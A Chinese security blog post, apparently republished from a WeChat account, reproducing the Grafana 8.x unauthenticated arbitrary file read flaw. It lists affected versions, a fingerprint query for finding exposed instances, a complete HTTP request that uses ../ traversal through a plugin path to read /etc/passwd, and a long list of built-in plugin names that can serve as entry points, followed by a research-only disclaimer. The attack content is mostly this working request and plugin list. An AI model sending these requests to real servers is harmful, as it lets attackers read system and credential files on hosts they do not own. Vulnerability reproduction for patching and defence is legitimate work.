1 漏洞描述
该漏洞源于Grafana在获取公共插件资产的相关函数中对于路径参数的字符清理不当，导致攻击者可以通过将包含特殊目录遍历字符序列(../)的特制HTTP请求发送到受影响的设备来利用此漏洞。成功利用该漏洞的攻击者可以在目标设备上查看文件系统上的的任意文件。
8.0.0-beta1 ≤ Grafana ≤ 8.3.0(8.0.7、8.1.8、8.2.7更新补丁的不受影响)
app="Grafana"
POC如下：
GET /public/plugins/grafana-clock-panel/../../../../../../etc/passwd HTTP/1.1Host: Your Ip:portUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:91.0) Gecko/20100101 Firefox/91.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: zh-CN,en;q=0.5Accept-Encoding: gzip, deflateConnection: closeUpgrade-Insecure-Requests: 1
<grafana_host_url>/public/plugins/alertlist/<grafana_host_url>/public/plugins/annolist/<grafana_host_url>/public/plugins/barchart/<grafana_host_url>/public/plugins/bargauge/<grafana_host_url>/public/plugins/candlestick/<grafana_host_url>/public/plugins/cloudwatch/<grafana_host_url>/public/plugins/dashlist/<grafana_host_url>/public/plugins/elasticsearch/<grafana_host_url>/public/plugins/gauge/<grafana_host_url>/public/plugins/geomap/<grafana_host_url>/public/plugins/gettingstarted/<grafana_host_url>/public/plugins/grafana-azure-monitor-datasource/<grafana_host_url>/public/plugins/graph/<grafana_host_url>/public/plugins/heatmap/<grafana_host_url>/public/plugins/histogram/<grafana_host_url>/public/plugins/influxdb/<grafana_host_url>/public/plugins/jaeger/<grafana_host_url>/public/plugins/logs/<grafana_host_url>/public/plugins/loki/<grafana_host_url>/public/plugins/mssql/<grafana_host_url>/public/plugins/mysql/<grafana_host_url>/public/plugins/news/<grafana_host_url>/public/plugins/nodeGraph/<grafana_host_url>/public/plugins/opentsdb<grafana_host_url>/public/plugins/piechart/<grafana_host_url>/public/plugins/pluginlist/<grafana_host_url>/public/plugins/postgres/<grafana_host_url>/public/plugins/prometheus/<grafana_host_url>/public/plugins/stackdriver/<grafana_host_url>/public/plugins/stat/<grafana_host_url>/public/plugins/state-timeline/<grafana_host_url>/public/plugins/status-history/<grafana_host_url>/public/plugins/table/<grafana_host_url>/public/plugins/table-old/<grafana_host_url>/public/plugins/tempo/<grafana_host_url>/public/plugins/testdata/<grafana_host_url>/public/plugins/text/<grafana_host_url>/public/plugins/timeseries/<grafana_host_url>/public/plugins/welcome/<grafana_host_url>/public/plugins/zipkin/
https://grafana.com/get/?plcmt=top-nav&cta=downloadshttps://mp.weixin.qq.com/s/in9gjUfRR98he51wy5Nc6Ahttps://mp.weixin.qq.com/s/GrrjchY5EzAXKT2C-ih8hwhttps://mp.weixin.qq.com/s/Haf3eN2zW1Io3iEER7TwsQ
原文始发于微信公众号（Reset安全）：Grafana未授权任意文件读取复现
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论